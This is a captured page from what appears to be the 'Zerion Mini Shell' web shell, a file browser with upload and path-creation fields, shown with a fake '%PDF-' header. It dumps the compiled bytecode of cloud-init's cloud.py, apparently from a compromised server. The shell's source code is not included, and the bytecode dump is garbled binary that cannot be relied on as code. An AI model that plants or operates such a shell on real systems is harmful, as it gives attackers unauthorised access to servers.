%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core22/current/lib/python3/dist-packages/cloudinit/__pycache__/
Upload File :
Create Path :
Current File : //snap/core22/current/lib/python3/dist-packages/cloudinit/__pycache__/cloud.cpython-310.pyc

o

)�g��@stddlZddlZddlZddlmZddlmZddlmZm	Z	ddl
mZddlm
Z
e�e�ZGdd�d�ZdS)	�N)�Optional)�Distro)�Paths�Runners)�events)�
DataSourcec@s�eZdZ	d&dedededededee	j
fdd	�Zed
d��Z
d'd
d�Zdd�Zd(dd�Zdd�Zedd��Zdd�Zdd�Zd)dd�Zdd�Zd&d d!�Zd&d"d#�Zd&d$d%�ZdS)*�CloudN�
datasource�paths�cfg�distro�runners�reportercCs@||_||_||_||_||_|durtjdddd�}||_dS)Nzunnamed-cloud-reporterF)�name�description�reporting_enabled)r	r
r�_cfg�_runnersr�ReportEventStackr)�selfr	r
rrr
r�r�1/usr/lib/python3/dist-packages/cloudinit/cloud.py�__init__ s	�
zCloud.__init__cCst�|j�S�N)�copy�deepcopyr�rrrrr6sz	Cloud.cfgFcCs|j�|||||�Sr)r�run)rr�functor�args�freq�
clear_on_failrrrr;sz	Cloud.runcCs6|jj|}tj�|�st�dtj�|�|�dS|S)Nz-No template found in %s for template named %s)r
�template_tpl�os�path�isfile�LOG�warning�dirname)rr�fnrrr�get_template_filename>s
�zCloud.get_template_filenameTcC�|j�|�Sr)r	�get_userdata)r�apply_filterrrrr,J�zCloud.get_userdatacC�
|j��Sr)r	�get_instance_idrrrrr0M�
zCloud.get_instance_idcCs|jjSr)r	�launch_indexrrrrr2PszCloud.launch_indexcCr/r)r	�get_public_ssh_keysrrrrr3Tr1zCloud.get_public_ssh_keyscCr/r)r	�
get_localerrrrr4Wr1zCloud.get_localecCs|jj||d�S)N)�fqdn�
metadata_only)r	�get_hostname)rr5r6rrrr7Zs�zCloud.get_hostnamecCr+r)r	�device_name_to_device�rrrrrr8_r.zCloud.device_name_to_devicecCr+r)r
�
get_ipath_curr9rrrr:br.zCloud.get_ipath_curcCr+r)r
�	get_cpathr9rrrr;er.zCloud.get_cpathcCr+r)r
�	get_ipathr9rrrr<hr.zCloud.get_ipathr)NF)T)FF)�__name__�
__module__�__qualname__rr�dictrrrrrr�propertyrrr*r,r0r2r3r4r7r8r:r;r<rrrrrs<������
�






r)r�loggingr#�typingr�cloudinit.distrosr�cloudinit.helpersrr�cloudinit.reportingr�cloudinit.sourcesr�	getLoggerr=r&rrrrr�<module>s


Zerion Mini Shell 1.0